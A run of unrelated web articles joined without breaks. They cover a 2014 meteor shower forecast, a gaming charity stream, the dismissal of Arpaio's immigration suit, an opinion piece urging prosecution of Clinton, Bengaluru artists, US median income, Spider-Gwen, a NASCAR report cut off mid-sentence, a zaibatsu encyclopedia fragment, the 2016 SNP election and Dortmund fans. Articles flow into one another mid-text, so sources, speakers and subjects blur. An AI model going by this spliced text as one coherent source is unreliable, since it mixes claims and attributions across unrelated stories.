Most skygazers are familiar with the usual "biggies" among meteor showers, such as the Perseids and Geminids. But if the calculations of celestial dynamicists are correct, we could experience a terrific meteor shower that virtually no one's ever heard of: the Camelopardalids.
Don't blame yourself for not knowing about this one — historic records show little evidence that the "Cams" have ever made an appearance before. They are bits of dust cast off from periodic comet 209P/LINEAR, an obscure, dim comet that orbits the Sun every 5.1 years. It's much too faint for naked-eye visibility (13th magnitude as of May 22nd).
What's got dynamicists excited, however, is that Earth might might pass right through relatively dense streams of debris shed by the comet long ago. This could create a strong burst of "shooting stars" on May 24th.
Several predictions suggest that you might see anywhere from 100 to 200 meteors per hour from a dark location free of light pollution. That would mean a couple per minute on average. Some (but not all) dynamicists think there's even an outside chance that the celestial spectacle could briefly become a meteor "storm," with more than 1,000 visible per hour! But it's also possible that the display might be weak, with just a few dozen meteors or fewer per hour even in a dark sky.
In any case, a high proportion of the meteors may be bright. And compared to other meteors, the Camelopardalids will move across the sky relatively slowly.
Timing is Right for North America
Storm or no storm, predictions agree that the peak will likely occur between about 6:30 and 7:30 Universal Time on the 24th. This timing favors North Americas, though it means you'll have to be out around 3 a.m. Eastern Daylight Time; midnight Pacific Daylight Time. The outburst will be brief, lasting just an hour or two, though a somewhat longer duration is possible. Moonlight from a slender waning crescent won't be a problem.
The rest of the world will miss out; all other land areas are either in daylight or on the side of the globe facing away from the incoming meteors.
The meteors will appear all over the sky, so you'll want to look in whatever direction gives you the darkest view. But if you trace their bright paths backward far enough, and they'll lead you to a location in the northern sky in the dim constellation Camelopardalis, the Giraffe, about 12° from Polaris.
Interestingly, in the past week there've been a few reports of really bright fireballs from this radiant direction. Are these early arrivals from the Camelopardalids? Maybe! They've certainly gotten the attention of dynamicist Esko Lyytinen. "This made me think that if the sky is clear here in Finland during the predicted shower, I will try to tune my fireball camera to observe in the daylight for a possible daylight fireball," he says.
Discovered in 2004, Comet 209P/LINEAR went through its perihelion on May 6th and will pass just 5 million miles (0.055 astronomical unit) by Earth on May 29th. That will be the 9th closest approach of any comet on record. But the comet itself won't get any brighter than 11th magnitude at best. Besides, the meteors we'll see are not from this pass — instead, they'll be from perihelion passes as long ago as the late 1700s and early 1800s.
Adding to the uncertainty is that while the comet is active now, it might not have been all those years ago. "We do not know what rate to expect, because the comet was not observed in the 18th, 19th and early 20th centuries," explains meteor specialist Peter Jenniskens (SETI Institute).
For those who might have the misfortune of cloudy weather during the Camelopardalid shower — or if you live where it won't be seen — Italian astronomer Gianluca Masi (Virtual Telescope Project) is planning an online meteor watch. "We will have several observers in the U.S. and Canada using wide-field imaging and all-sky cameras to send us images, assuring live coverage," he says. Coverage begins at 5:30 Universal Time May 24th.
You can also watch a webcast using the Slooh robotic telescopes. The Slooh team will view and discuss the comet starting at 6 p.m. EDT (22:00 UT) and follow with live coverage of the new meteor shower a few hours later at 11 p.m. EDT (3:00 UT May 24th).
Should this event tempt you to pull out your camera, read our article on How to Photograph a Meteor Shower for equipment and techniques that will help you toward success.Greetings Fellow Heroes!We are a COLLECTIVE of Podcasters who LOVE to Play Heroes of the Storm! We are Mighty, We are Bold, and we like to play video games!February 20th, 12pm Mountain Time!As Heroes Podcast Hosts, we all play HEROES OF THE STORM! So, we felt it was about time we ourselves did something Heroic!Hence we have joined forces to host the first ever HEROES CHARITY BRAWL! An event where we play the game, talk about the game and raise money for a Worthy Cause, The Make A Wish Foundation The Following Shows are Participating in this event!All the hosts from each show will be mixed and matched in different gimmick matches to showcase just how fun this game can be!We encourage you to ATTEND! And if YOU CANNOT attend, but would like to give to a WORTH CAUSE, The Make A Wish Foundation, you can DO THAT TOO!However, we will CLOSE the campagin on February 21st, 2016!We thank you so much for your support! See YOU at the BRAWL!A federal judge late Tuesday gave the Obama administration an early Christmas present by tossing out a challenge to President Obama’s immigration executive actions filed by controversial Arizona Sheriff Joe Arpaio.
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U.S. District Judge Beryl Howell warned in an opinion that while Arpaio’s lawsuit brings up important issues, the sheriff couldn’t file the suit because he hasn’t suffered direct harm from Obama’s executive actions.
“The role of the Judiciary is to resolve cases and controversies properly brought by parties with a concrete and particularized injury— not to engage in policymaking better left to the political branches,” Howell said.
“The plaintiff’s case raises important questions regarding the impact of illegal immigration on this Nation, but the questions amount to generalized grievances which are not proper for the Judiciary to address."
The case centers on Obama’s decision in November to provide work permits and delay deportations for certain immigrants in the country illegally. Obama faced significant criticism on the right for these actions, which many Republicans framed as an abuse of power.
“Judge Howell’s decision today confirms what the Department of Justice and scholars throughout the country have been saying all along: the President’s executive actions on immigration are lawful,” White House spokesman Eric Schultz said in a statement. “The Supreme Court and Congress have made clear that federal officials can set priorities in enforcing our immigration laws, and the actions announced by the President are consistent with those taken by administrations of both parties for the last half century. The court correctly dismissed Sheriff Arpaio’s lawsuit."
Arpaio is an outspoken critic of Obama and has a controversial reputation as “America’s toughest sheriff,” a nickname he often uses to refer to himself. He previously held a public investigation into Obama’s birth certificate, claiming it to be false. He’s also faced a number of lawsuits during his tenure as sheriff of Arizona’s Maricopa County, which includes Phoenix, including abuse of power and racial profiling.
Howell’s decision went on to note that Arpaio has no authority to enforce national immigration laws — he’s a local sheriff — and that his alleged harm is “largely speculative.” Arpaio argued that the president’s actions could create a “magnet” that draws undocumented immigrants into his county, but Howell dismissed that claim because the actions don’t apply to new immigrants.
Texas Gov.-elect and Greg Abbott (R) is leading a coalition of more than 20 states in another federal challenge against Obama’s immigration actions. And a federal judge in a deportation case also found the actions unconstitutional, although that may not have a direct impact on the policies because the criminal case isn’t directly related to the president's orders.(Reuters photo: Adrees Latif)
The Trump administration should pursue the case against Hillary Rodham Clinton.
If there is anything more to Donald Trump than bluster, we have yet to see it.
Trump has not even been sworn in as president, and he already is walking away from campaign promises that are too hard to keep, starting with his pledge to pursue the case against Hillary Rodham Clinton, who violated national-security laws, lied about it, and very likely suborned criminal acts by others, including obstruction of justice.
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Speaking in the jabberwocky that is the lingua franca of Planet Trump, Kellyanne Conway says that the president-elect already has turned his back on his swaggering campaign promise to put his opponent in jail for what are — let us keep in mind — serious crimes. “Look, I think he’s thinking of many different things as he prepares to become the president of the United States, and things that sound like the campaign aren’t among them.” Trump, she explained, is “also the head of your party now,” so when he “tells you before he’s even inaugurated he doesn’t wish to pursue these charges, it sends a very strong message.”
That’s a lot of words when one of two might have sufficed: “laziness” or “cowardice.”
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What, exactly, are those “many different things” about which the president-elect is thinking? Surely, pursuing a case against Mrs. Clinton would be difficult, especially for Trump, whose legal experience is mostly limited to local planning-and-zoning regulations, defamation claims, and bankruptcy court. It could prove politically costly in the event that it is unsuccessful — and even more politically costly in the event that it isn’t. Those are all good reasons, from Trump’s point of view, to decline to pursue the case.
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But among those “many different things” upon which he is meditating, there is one question that ought to trump the others: Did Clinton break the law in a manner that warrants prosecution, and did she escape that prosecution only because the Obama administration, which has politicized every federal agency from the IRS to the Justice Department to the ATF to the National Labor Relations Board, spared her from indictment in the service of its own narrow political self-interest?
Either there is a case to be made against Mrs. Clinton or there is not. The information that has been made public by the FBI suggests very strongly that there is. The corruption of the Obama administration is not in question, and the judgment of its DOJ in this matter is therefore without much weight.
All of that points in the same direction: investigation.
Either there is a case to be made against Mrs. Clinton or there is not. The information that has been made public by the FBI suggests very strongly that there is.
American government at all levels is characterized by a “tough on crime” posture, but there is a political reality underlying that rhetoric. We are in fact very tough — to the point of cruelty — on crimes and “crimes” that land the poor and the politically powerless in the dock: We will happily lock you up, with righteousness in our hearts, if you are caught with verboten vegetation or if you get behind in your child-support payments. We will spend millions of dollars on surveillance infrastructure for such revenue-generating novelties as red-light cameras and the like, while keeping known jihadists under surveillance is apparently beyond our capabilities. We’ll make a federal case out of it if you braid somebody’s hair without giving the politicians a cut, but we won’t make a federal case out of it when a high-ranking federal official — one who nearly became the highest-ranking federal official — violates critical national-security laws and then engages in a potentially criminal cover-up.
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Does that strike anybody else as odd?
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If anything, the priorities should be reversed. While it applies at all levels of government, it is especially true at the federal level that instances of official wrongdoing, whether by elected officials or career civil servants, should receive the highest priority in criminal prosecution. But we can hardly manage to fire civil servants who refuse to do their jobs because they are too busy spending their days watching porn and endeavoring to hold tightly the pelican by his mouth pouch.
#related#The Clinton e-mail case is not only about e-mails. As my friend Andrew C. McCarthy and others have argued persuasively, the scandal is only the vestibule in a Taj Mahal of corruption centered on the Clinton Foundation and its dodgy financial dealings.
But President-elect Trump, to the extent that he can be said to think at all, apparently is not thinking about that. He is thinking of many things, we are assured, and we can be confident that they are dominated by the short-term interests of Donald Trump, who is the political version of the dog who accidentally caught the car, which turned out to be a steamroller.
There is a case to be made against Mrs. Clinton and against the wider baleful and corrupting influence of Clinton, Inc. But making that case would take some guts, wisdom, and a sense of honor. Despite Trump’s toilet-gilding riches, those precious commodities remain out of his reach.For many of us living in Bengaluru, its global reputation as India’s Silicon Valley only tells a part of the story. Because even though the city houses a seemingly endless number of startups and tech giants, it’s also home to those creatively-inclined in other fields, from pioneering playwrights and chefs to painters and musicians.
These kinds of innovators don’t get half the attention but CurleyStreet Media, a creative film production company in the city, wants to change that with a five-episode web series showcasing some of Bengaluru’s most exciting independent artists. Titled #UNFRAMED, the series is designed to display unconventional people and unexpected projects, as well as reveal another side to one of south India’s most talked-about cities.
“We chose to highlight artists in Bangalore not only because it’s our home but because these artists represent a different set of voices from this city,” CurleyStreet Media said in an email. “There is so much more to Bangalore than just tech parks and beer.”
That’s clear from the very first episode, released on June 01, which features the artist Nithin Sadhu, an engineering college dropout who now makes surprisingly detailed artwork using humble brown packaging tape. In the video, Sadhu recalls his father’s shock and confusion over his son’s unconventional career choice, as an entire cityscape emerges on a canvas, crafted using just a knife and a few rolls of tape.
“When people see my work, they look at me as if I’m some sort of magician,” Sadhu says.
Next up is an episode shot at the verdant home of Kaveri Gopalakrishnan, a comic book artist who grew up with a passion for drawing and telling stories. Today she’s known for her colourful illustrations that often feature women front and centre. The video showcases Gopalakrishnan’s impressive range as she draws and paints quirky characters and scenes with a little touch of fantasy.
In the episodes to come, released on YouTube every Thursday this month, CurleyStreet plans to highlight a mural artist injecting some much-needed colour into Bengaluru’s streets, a “Motorcyle Monet” known for his custom automobile art, and a German-born doll and puppet-maker who now calls the dyanmic city her home.Census data released last week revealed that 2016 was a second straight strong year for median household income growth. Consequently, inflation-adjusted median household income is now at an all-time high, finally surpassing the previous record set in 1999.
This is, unquestionably, good news for the American worker. But the rush to proclaim, as David Brooks did in a Friday New York Times column, that the good news shows the American economy “isn’t broken” seems like a serious mistake. That incomes slipped after the bubble peak of 1999 is unsurprising. But for it to take more than 15 years to claw back those losses is shocking.
Anyone who predicted in 1999 that median income would be lower in 2015 would have been regarded as ridiculously pessimistic, and nobody would have thought that quibbling over exactly how we calculate the inflation rate was the difference maker.
Something really is badly wrong.
The good news in the census report is that what’s wrong is fairly straightforward, easy to understand, and conceptually simple to fix. It requires a sense of political urgency that’s been lacking. And that, in turn, may require a radical shake-up of America’s excessively complacent political elite. But the policy solutions we need aren’t pie-in-the-sky, complicated, or even necessarily all that dramatic.
Three big problems in the American economy
Our basic economic sickness can be summarized by the fact that even though median income in 2016 just barely edged out its 1999 level, America’s gross domestic product per person was 18 percent higher at the end of 2016 than it was at the end of 1999. Some of this is due to the differences in the way inflation is calculated, but the fact remains that in nominal terms, per capita GDP has grown 66 percent since 1999 while median household income has grown only 45 percent.
In short, the country has gotten a lot richer on average, and yet the typical household hasn’t gotten richer at all. This problem, in turn, has three big interrelated aspects:
Growth has been fundamentally unequal, with families at the top reaping a disproportionate share of the gains.
That’s in part because prolonged periods of high unemployment make it difficult for people who depend on labor income (as opposed to investments) to demand their full share of the rewards of economic growth.
That means that people at the bottom of the income distribution are worse off than they were in 1999, and America’s poverty rate — always high by international standards — remains higher than it was in the past.
This is not a situation that anyone should feel okay about. But it’s also a situation that can be redressed without reinventing the wheel or embracing the wilder strains of nationalism and neo-Marxism that are growing in popularity in the face of mainstream political complacency.
What we need to do is tax the rich, spend the money on the poor, and prioritize fighting recessions as a core economic policy mission that’s more important than low inflation or high bank profits.
Growing inequality
Median household income has been essentially flat since 1999, but productivity per worker, productivity per hour, and national income per person are all up.
That works, mathematically, because incomes for people at the top have grown considerably during this period. The converse of that is that incomes at the low end have fallen — with nearly the bottom quarter of the population worse off than it was in the waning days of the 20th century.
trying out some advanced features, think this one shows more clearly the bottom fifth has less income now than 16 years ago pic.twitter.com/X75tNQLUKu — Matt Bruenig (@MattBruenig) September 16, 2017
Reflecting this reality, the poverty rate is higher today than it was in 1999.
The solution to both facets of this problem is simple: taxes. Higher taxes on very high wages and higher taxes on investment income. Some of the revenue should go to the kind of earned income tax credit boost that Rep. Ro Khanna (D-CA) and Sen. Sherrod Brown (D-OH) have proposed, and some to create a universal child allowance of the sort that’s taken a huge bite out of poverty in foreign countries.
Critically, a more compressed income distribution might also help address the unfortunate reality that today’s social and political elites inhabit a kind of bubble that leaves them somewhat blind to the disastrous consequences elevated unemployment has for the majority of the country.
The rich, as it turns out, have a very different set of concerns than does the rest of the population. In particular, they don’t necessarily suffer during times of high unemployment. As Matt O’Brien writes at the Washington Post, “the relationship between real income growth and the unemployment is statistically significant” for everyone in America except the top 5 percent. But for them, “it’s not even close.” Consequently, “what do they care if unemployment is 5 or 6 or 7 percent as long as they have their jobs? They don't. All they care about is that markets are going up.”
Lucky them. But the rest of the country needs a government that’s fanatically committed to fighting recessions.
Take recessions seriously
One problem is that the top 5 percent includes all the members of Congress and all of the donors and lobbyists and business leaders whom members of Congress speak to. It also includes all the Federal Reserve governors and regional bank presidents and all the business leaders whom they speak to. It includes the top editors of all the major media outlets and most of the star talent. For that matter, it also includes most of the leading economic experts at top universities.
All else being equal, of course, political elites prefer lower unemployment to higher. But it simply isn’t instinctively urgent in elite circles the way a financial market panic is. When the economy was crashing in the fall of 2008, the American political system went into emergency mode. When things had stabilized by the summer of 2009, emergency mode ended. But for the bottom 95 percent or so, the emergency didn’t really end until years later.
Yet policymakers spent this whole period in a kind of haze of inflation paranoia carried over from the 1970s. Tim Geithner in his memoirs says that even at the peak of the crisis, it was important for the Fed to “signal that they'll eventually hit the brakes, and that they'll remain vigilant about inflation going forward,” even though creating an expectation of future catch-up inflation would actually have boosted the economy at the bottom. The Obama administration pivoted to deficit reduction in early 2010 based on vague green shoots of recovery. And Republicans were, of course, worse, preaching austerity at the worst possible time. Janet Yellen’s Federal Reserve is raising interest rates to slow job creation in order to head off the possibility of future inflation even though actual inflation remains below target. Meanwhile, Kevin Warsh — the Republican most likely to replace Yellen — spent years warning that the Fed was doing too much to aggressively boost job creation.
For the economy to work for normal people, the federal government needs to be obsessed with avoiding recessions and making them as short as possible. If that means short bursts of inflation during supply-side shocks, or reduced bank profits due to restrictions on lending, or high deficits to stimulate the economy, we need to be willing to make those trade-offs. Wage earning is the backbone of the mainstream economy, and when unemployment is high, not only do a few million people lose out on the chance to work but tens of millions more lose the chance to bargain for wages.
Give help to parents
A lower unemployment rate and a more robust EITC would both do a fair amount to take a bite out of poverty.
The reality, however, is that at any given point in time, not everyone is going to be able to work full time. And the intersection of market economics and human biology creates the unfortunate reality that parents of young children face a lot of additional financial burdens while also typically being a decade or two short of their peak earnings potential while also facing difficulty working as many hours per year as the childless. The result is that the poverty rate for children is a lot higher than the poverty rate for adults, and that the United States has a child poverty rate that’s scandalously high by international standards.
The country already has a patchwork of tax initiatives that are supposed to help parents, but they generally don’t reach to the bottom of the spectrum. Senate Democrats, meanwhile, have cooked up a scheme for federally subsidized child care for low-income families.
A better approach would be to establish a single, uniform program that gives all parents — whether rich or poor — what they fundamentally need: money. Money that can be used for day care or diapers or paying for your sister’s pizza to thank her for babysitting or whatever else comes up. A proposal from Kathryn Edin, Timothy Smeeding, Greg Duncan, Christopher Wimer, Luke Shaefer, Hiro Yoshikawa, and David Harris for a $300-a-month allowance for kids under 6, falling to $250 a month for 6- to 17-year-olds, would cut child poverty in half for about $105 billion a year.
A better world is possible
Nobody likes a boring neoliberal technocrat. And obviously a country where the rich pay higher taxes, parents and low-wage workers have more cash, and the Federal Reserve is more obsessively focused on keeping the unemployment rate low would still have its share of problems.
But it would also be a much better country than the actually existing United States of America — a place in which voters’ core grievance with 21st-century political economy is addressed and living standards are broadly and consistently rising for everyone who plays by the rules and contributes to society.
At the same time, it would recognizably be the same United States of America we’ve known for a long time. A cosmopolitan, liberal society with a market economy and some taxes and regulations and a welfare state. We don’t have to turn our backs on the global economy or make Mexico pay for a wall or embrace full communism or otherwise fundamentally rethink the underpinnings of our country. But we do need a political class that will operate the machinery of government in the broad national interest rather than in the interest of a narrow economic elite. And to get it, that class has to stop congratulating itself on the basis of thin evidence.Gwen Stacy swings into the Marvel Universe as the superpowered Spider-Woman of "Spider-Gwen." (Photo11: Kris Anka/Marvel Comics)
The Spider-Gwen can do whatever a Spider-Man can — with a hoodie and a legion of online fans in tow.
After having died in 1973 in a battle between Spidey and Green Goblin — and staying dead for more than 40 years — Gwen Stacy has found new life with superpowers as a parallel-universe Spider-Woman in Spider-Gwen, a Marvel Comics series premiering today by writer Jason Latour and artists Robbi Rodriguez and Rico Renzi.
While Peter Parker has been the signature Spidey since the 1960s of the regular Marvel Universe — aka Earth-616 — the radioactive spider that gave him his powers instead bit Peter's teenage girlfriend Gwen on Earth-65. She played a big role in the recent Spider-Verse crossover story line, and actually was a hit before she even hit the comic page: Last September's Edge of Spider-Verse No. 2 that introduced Spider-Gwen was an immediate sellout, causing multiple printings and price hikes for the issue on eBay.
Coming at a time when DC Comics was also giving Batgirl a modern, social media-ready makeover only helped make the new Gwen a comic-book phenom, according to Latour.
"We were pretty active about plastering it all over the Internet," he says with a laugh. "The response just seemed to balloon. People really liked the costume and they were really into the idea, and if you had your finger on the pulse of Tumblr — not that I do but if you just took a peek at it — it was insane before the book even came out with how much fan art and speculation there was about it."
Her debut story showcased Gwen drumming for the all-girl band The Mary Janes, watching Peter die in her arms after experimenting to become the Lizard and be special like her, and confessing to her cop dad, Capt. George Stacy, about her secret superheroine identity.
Latour admits he was a lot more nervous about that book than he is with this week's first Spider-Gwen issue. "Even though there's much more expectation now and it's snowballed into this giant thing, now people know what they're getting on board for more or less."
The new chapter finds Gwen newly returned from crisscrossing the universe with various other Spider-peeps during Spider-Verse, and she has to find time to spend with her bandmates, avoid bad publicity from Daily Bugle publisher J. Jonah Jameson after he blames her for Peter's death, and also tussle with the Vulture.
Tackling a returned Gwen Stacy in such a significant way initially scared Latour, he says. "I really didn't know what about it I was drawn to other than the fact that it could have gone really badly because you weren't supposed to touch her."
When Spider-Man group editor Nick Lowe offered her further adventures to him, Latour took a night to sleep on it and asked himself what he really knew about Gwen Stacy and not just as a "fridged" character who was killed for the sake of the hero as a plot progression.
The answer was not a whole lot, and that was a problem.
"There was a catharsis to, well, if this character could come back and escape death because of what superhero comics are best at doing, then the sky's the limit," says Latour.
The writer also saw Gwen as a potentially important heroine in the current climate of getting characters in superhero comics that better represent women.
In the alternate universe of "Spider-Gwen," it was Gwen Stacy and not Peter Parker who was bitten by a radioactive spider. (Photo11: Robbi Rodriguez/Marvel Comics)
Latour grew up eating and breathing white male superheroes, "but we've looked through that same dusty window a lot," he says. "The fact that it's a woman does change the meaning and subtext of everything that's going on. As a creator, that's really enjoyable and it opens up the story to go in a lot of directions it wouldn't have gone before."
Gwen is definitely not Peter, and not just because she uses smartphones and, instead of verbalizing her banter mocking villains, spray-paints it all over the city.
Peter's Aunt May and late Uncle Ben were more of a liberal, "it takes a village to raIse a child" kind of parents, according to Latour. Conversely, Gwen is the daughter of a police captain who stands up for the weak and is a shield keeping New Yorkers safe from criminals.
"As much as she wants to be an artist," the writer says, "that will come into conflict with that, and it's interesting to explore those old 'great power, great responsibility' themes in a modern context."
The alternate world of Spider-Gwen also allows Latour some freedom in creating a group of lively supporting characters, including those who are both familiar to and different from Peter Parker's well-known cast.
Latour's Vulture is very similar to the original-recipe winged villain, but in Spider-Gwen Matt Murdock isn't that good a guy and Frank Castle is a tough cop instead of a vigilante who wears a Punisher skull on his chest. Plus, just because Peter Parker's gone doesn't mean his aunt and uncle are, too — Latour plans on showing May and Ben Parker's reaction to Spider-Woman being held responsible for their nephew's death.
While it's tempting to toss in his own versions of Thor and M.O.D.O.K. in the series, Latour instead chooses his players by thinking about what Gwen is going through as a character and then having villains and antagonists standing in the way of that.
There's a whole laundry list of classic Spider-baddies to choose from, but the writer also wants to create a few, too.
"It always sounds a little funny when I say we have three potential villains in the first arc because I think it sounds like we are doing a bad superhero movie," Latour says, "but we really do take our time, and some of the threats you'd consider in a superhero sort of way don't play out that way.
"When you boil it down, all superhero stores are 'what if?' stories so I try not to get too hung up on that," he adds. "I just feel if we approach it earnestly, it'll make it something a little bit more than a cover song."
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Read or Share this story: http://usat.ly/1EQiwhfMatt DiBenedetto finished a career-best sixth in the Sprint Cup Series Sunday at Bristol Motor Speedway. (Photo11: Sean Gardner, Getty Images)
BRISTOL, Tenn. — Victory celebrations were held in two places Sunday at Bristol Motor Speedway.
One was the traditional spot atop an infield building, where Carl Edwards marked his 26th career victory by posing with the Food City 500 trophy.
The other was on pit road, where a longshot named Matt DiBenedetto exult |
large industrial conglomerates in Japan, the zaibatsu's previous vertically integrated chain of command, ending with a single family, has now widely been displaced by the horizontal relationships of association and coordination characteristic of keiretsu (系列). Keiretsu, meaning "series" or "subsidiary", could be interpreted as being suggestive of this difference.
List of zaibatsu [ edit ]
Popular culture [ edit ]
The term zaibatsu has been used often in books, comics, games, and films, referring to large and usually sinister Japanese corporations, who are often involved in shady dealings and/or have connections to the yakuza. Examples include the Mishima Zaibatsu, which is prominently featured in the Tekken series, the "Zaibatsu" criminal group in Grand Theft Auto 2, and various writings of pioneer cyberpunk author William Gibson. In other cases zaibatsu are used simply to provide the background for a character from an influential family, such as in the case of the F4 in Boys Before Flowers who are the sons and heirs of the four (fictional) biggest corporations in Japan.
See also [ edit ]
References [ edit ]
Notes [ edit ]
^ Morck & Nakamura, p. 33 ^ Memoirs, 1925-50 (Boston, 1967), 393. In his 1967 memoirs, Kennan wrote that aside from the Marshall Plan, setting the "reverse course" in Japan was "the most significant contribution I was ever able to make in government." George F. Kennan,, 1925-50 (Boston, 1967), 393. ^ chaebol is often viewed as the Korean zaibatsu, both the Korean and the Japanese words are composed of loans from [ citation needed ] Whileis often viewed as the Korean cognate to, both the Korean and the Japanese words are composed of loans from Chinese, and thus are not cognates in the true sense of the word.IT may not have been a 'punch-the-air' type of victory, but it was still a remarkable win.
Nine years into office, a time when most parties would be hiding under the desk at the thought of an election, the SNP polled 46.5 per cent of the constituency vote and 41.7 per cent on the list.
The constituency vote was up 1.1 percentage points on 2011, the list vote down just 2.3.
The upshot: an SNP MSP in 59 of Scotland’s 73 first-past-the-post seats, an increase of six.
In Glasgow, once the bedrock of Scottish Labour, there was a repeat of the wipe-out seen in last year’s general election, with Pollok, Maryhill and Provan all falling to the SNP.
“We haven’t beaten Labour in Glasgow, we’ve replaced them,” Nicola Sturgeon said.
It wasn’t just a Glasgow phenomenon. The SNP took every seat in six of Scotland’s seven cities.
Only Edinburgh resisted, with single LibDem, Labour and Tory wins.
The SNP also broke through the one million vote barrier in constituencies, a first for the devolution era.
But so many seats meant the SNP got only four top-up list MSPs, down 12.
The resulting total of 63 gave the SNP double the 31 MSPs of the Tories, but two short of an outright majority, and six shy of the 69 MSPs won in 2011.
After the result, the Tories were quick to claim Scotland had passed “peak Nat” and the SNP were moving into their twilight years in office.
But if just 360 people in Dumbarton and Edinburgh Central had switched to the SNP, the party would have won two more seats and achieved a second majority of 65. It was very close.
Sturgeon now has a mandate to govern as First Minister, but will need horse-trading to get her budgets and legislation through Holyrood.
The direction of the SNP campaign was set by the referendum.
The huge surge in members and funds after the No vote, and Sturgeon’s presence on the national stage during the general election, meant the party was well-prepared for the fight.
After Sturgeon appointed John Swinney her campaign director last September, he led “weekly review” meetings at the SNP’s Edinburgh HQ to develop messaging, ground operations and social media. Deputy SNP leader Stewart Hosie was tasked with preparing the manifesto.
When Holyrood dissolved in late March, the meetings became daily, starting with Swinney calling in from his home in Blairgowrie at 8.30am and often several times a day after that.
The party tracked the public mood through Activate, a computer database constantly updated with doorstep canvassing data, as well as through internal and public polls.
It was, naturally, a safety first campaign. A governing party was always going to stress continuity over change, reassuring voters rather than asking them to take a punt.
The cautious approach to tax summed it up, with income tax and council tax tweaked a little, but not much.
This, to the SNP’s private delight, enraged both Left and Right, condemned by Labour and the LibDems as too timid, and as punitive by the Conservatives.
“That puts us smack in the middle ground,” said one government source. “That’ll do us fine.”
The SNP’s instincts on tax proved far better than Labour’s. Kezia Dugdale might have pleased Labour members by vowing higher taxes all round, but most voters balked at it.
It was also a presidential campaign. Again, not surprising given Sturgeon’s massive personal approval ratings.
“It was a very deliberate strategy for us,” said Swinney. “We decided to focus very much on the strength and capability of the First Minister, her popularity with the public, and to use that as a means of engaging with the electorate.
“Every day we would also go through a policy proposition designed to show where our commitments lay and what our priorities were. We’d be setting them out to members of the public under the umbrella of ‘elect Nicola Sturgeon as your First Minster’ and ‘Both votes SNP’. I would say it was a policy-rich agenda.”
But it could be double-edged too. The SNP’s ‘Being John Malkovich’ moment, when over 1000 activists surrounded Sturgeon with manifestos bearing her own face, was widely ridiculed.
Out on the street, SNP activists also heard angry references to “that woman” from voters.
“Some people couldn’t even stand to mention her by name,” said one old hand.
Throughout the campaign, the SNP was confident it was at a steady 45 per cent in the polls.
It was enough to secure a win, but jitters remained about getting an overall majority.
Hence the Both Votes SNP message on everything from pens to billboards.
Although there was speculation the Greens and RISE might draw list votes from SNP voters, the party wasn’t worried by them specifically - any kind of split vote was seen as a threat.
“Every party has that issue,” said Swinney. “So we wanted to put as much encouragement into people using their regional vote for the SNP. I was always concerned about us getting a majority. At no stage did I believe we’d get the level of seats we got at the general election.”
As in physics, every action in politics produces some kind of equal and opposite reaction.
In the SNP’s case, its insistence on being able to hold a second independence referendum led to a Unionist backlash.
In previous elections, the Unionist vote split among the three opposition parties. But in 2016, thanks to a very focused campaign led by Ruth Davidson and Labour wobbles on the constitution, that tactical Unionist vote flooded to the Tories. The LibDem and Labour gains in Edinburgh Western and Southern were other examples.
There were other headaches too. The attitude of new members was a frequent complaint among old hands. “Yes, we’ve got a large membership, but a lot of that is inactive,” said one source.
An SNP candidate added: “There was definitely complacency with the activists. We got bodies on the streets at the weekend, but nowhere near our true strength. An awful of people clicked the button [to join]. They don’t come to meetings. A lot just sit on the net talking to each other.”
One of the factors helping the LibDems, Tories and Labour win seats in Edinburgh was a concerted drive to harvest postal votes. The SNP had almost no postal vote operation.
“Postal votes are just something we’ve never really done,” said one SNP campaigner. “We’ve always gone for a Get Out The Vote (GOTV) operation on polling day instead.”
But on polling day, Activate crashed for most of the morning, hampering the GOTV effort.
“There’s a myth that the party’s operation is really wonderful," said one senior member. "In many ways it’s actually very poor.”
And though the Both Votes SNP message was repeated ad nauseam, it yielded scant results. In six of the eight regions, the SNP got no list MSPs at all.
The SNP's new dominance of the Central Belt also had its flipside - a loss of support in the north and north east.
In its former base of Perthshire and Aberdeenshire, the SNP saw double-digit swings to the Tories.
Even Swinney had his majority in Perthshire North slashed from 10,353 to 3,336.
In part this was down to the constitutional question, in part down to a feeling that the SNP has become an increasingly urban and less concerned about rural areas.
There has also been specific anger at the government’s mishandling of European CAP payments to farmers, with IT bungles delaying money and causing real hardship.
It is little wonder that the man blamed by many for the mess, rural affairs secretary Richard Lochhead, saw his majority in Moray fall even further than Swinney’s, from 10,944 to 2,875.
However the big picture is far more positive for the SNP - thanks, ironically, to the Tories.
Davidson’s was not the only party wanting to see Labour crushed on May 5. The SNP are even more delighted at Labour’s fate.
For while opposition leader may be Davidson’s dream job, it is also a dead end one. Unless Scotland’s political outlook changes utterly, she will never progress to First Minister.
In any foreseeable electoral contest between the SNP and the Tories, the SNP always win.
A Labour opposition leader might one day be seen as a putative FM, but not a Tory one.
So the SNP’s grip on power just got tighter.
More importantly for the SNP, the decimation of Scottish Labour removes a mission-critical obstacle to achieving independence.
The Better Together campaign in 2014 was founded on Scottish Labour. The Tories cannot fill that role in the event of a second independence referendum.
Labour's destruction after it sided with the Conservatives in the No camp showed Davidson’s party remains remarkably toxic.
One SNP source said his party can’t wait for First Minister’s Questions to become a clash between the SNP’s record at Holyrood and David Cameron’s cuts at Westminster.
So the Tories may yet rue what they wished for. In pushing Labour into a ditch, they have removed one of the bulwarks protecting the Union they were elected to preserve.Hans-Joachim Watzke, the chief executive of Borussia Dortmund, was struck by an extraordinary phenomenon when, caught up in traffic on the way to his club’s recent Bundesliga game against Hanover, he decided to get out of the car with his son and walk the last 500 metres to the Westfalenstadion.
“This 500 metres must have taken about an hour to walk as I got stopped for what seemed about 250 photos,” said Watzke, recalling a great time mingling with the usual 80,000 fans. “And the amazing thing was that I think about 10 per cent of those who asked for photos were English guys.
“It made me realise just how many English people were going to the stadium. My son told me, ‘It’s marvellous; they’re all speaking English’. It was very surprising for me but they all told me it was because of wonderful atmosphere and wonderful prices.”
On Wednesday night Arsenal will bring 3,300 fans to watch their Champions League clash but a British invasion is nothing new.
At every Dortmund home match, 800-1,000 fans will usually have made the trip from Britain.
Why? Because, according to Watzke, they are attracted by the unique ambience of one of Europe’s last great romantic clubs, where the tickets – and beer – are cheap, the fans are put first and an extraordinary throwback feel, full of raw passion and energy at the best attended club in the world, can perhaps make them remember something that British football has mislaid.
“I think the English have the deepest feeling for football, a little bit more of a romantic feeling than in Italy, so I think that maybe they think there is something missing in English football, that the English clubs have lost a bit of a feeling,” says Watzke.
“Not necessarily just in London, but maybe in Newcastle or other cities. That’s the great difficulty they face. They’re not as in touch with the heart as over here.”
